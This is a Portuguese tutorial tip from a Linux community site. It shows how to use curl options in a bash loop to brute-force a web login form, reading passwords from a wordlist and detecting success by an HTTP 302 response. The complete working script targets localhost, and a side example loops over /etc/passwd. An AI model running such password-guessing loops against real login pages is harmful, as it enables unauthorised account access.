cURL - Brute-force em aplicações Web

Publicado por Perfil removido em 01/05/2013

[ Hits: 17.981 ]

 


cURL - Brute-force em aplicações Web



Estava pesquisando sobre o cURL, e tive a ideia de fazer um brute-force em shell script, mas como eu já fiz isso, resolvi somente testar os comandos.

Primeiro, iremos ver algumas opções de linha de comando do cURL:

curl -h
Usage: curl [options...] <url>
 -F/--form <name=content> Specify HTTP multipart POST data (H)
 -o/--output <file> Write output to <file> instead of stdout
 -s/--silent        Silent mode. Don't output anything
 -w/--write-out <format> What to output after completion

Ressaltei essas funções, pois serão necessárias para o ataque de brute-force.

Entendo as opções:

1. As opções "-s" e "-o" são para não exibirem o conteúdo HTML do request; iremos mandar essa saída de comando para o /dev/null.

2. O comando "-F" funciona para enviar os parâmetros através de "POST request".

Exemplo:

curl -F teste=enviando-post localhost/teste.php
3. E por último, a opção "-w", usaremos essa opção para descobrir o status code do request, levando em consideração que a maioria dos sistemas de login, quando se faz o login corretamente, redirecionam para outra página (302).

Exemplo:

curl -w "%{http_code}" localhost/lol
No final da saída do comando, obtemos o número 404 (Not Found).

Fazendo o ataque

Agora iremos proceder para o ataque de brute-force. Primeiro, temos que saber quais os nomes dos campos que iremos enviar pelo POST request.

Exemplo: login, password, log, passwd, user, etc.

Tendo essas informações, iremos transformar a saída do comando em uma variável.

Exemplo:

curl -s -o /dev/null -F login=mmxm -F pass=123456 -w "%{http_code}" localhost/login.php
A saída do comando foi 302 (redirecionamento), iremos guardar esse saída na variável "login":

login=$(curl -s -o /dev/null -F login=mmxm -F pass=123456 -w "%{http_code}" localhost/login.php)

Agora, para proceder com o ataque de "word list" iremos usar o "for" para ler um arquivo linha por linha.

Exemplo:

for i in `cat /etc/passwd`;do echo $i; done

Nosso comando final ficará assim:

for i in `cat wordlist.txt`
do
login=$(curl -s -o /dev/null -F login=mmxm -F pass=$i -w "%{http_code}" localhost/login.php)
if [ $login '==' "302" ]
then
echo "Password: $i"
break
else
echo "Trying: $i"
fi
done

Pronto, você já estará fazendo um ataque de brute-force através de uma "word list", usando o terminal.

Espero que tenham gostado da dica.
[]'s

Dica também publicada em:
Outras dicas deste autor

Monitorar a performance do MySQL com Mytop

NTP Server- Resolvendo erro de fuso-horário no Debian

Usando o friend em C++

Vídeo aula: Como converter vídeo (.ogg) para (.flv) com Kino

Manjaro não inicializa pelo GRUB de outra distribuição [Resolvido]

Leitura recomendada

Execução anônima em xpdf

Comando seq com saída em hexadecimal

Repositórios YUM para Red Hat, Fedora e CentOS - Instalação via Script

Como passar parâmetros para um alias no Bash

Solução IM para seu Cyber Cafe

  

Comentários

Nenhum comentário foi encontrado.



Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts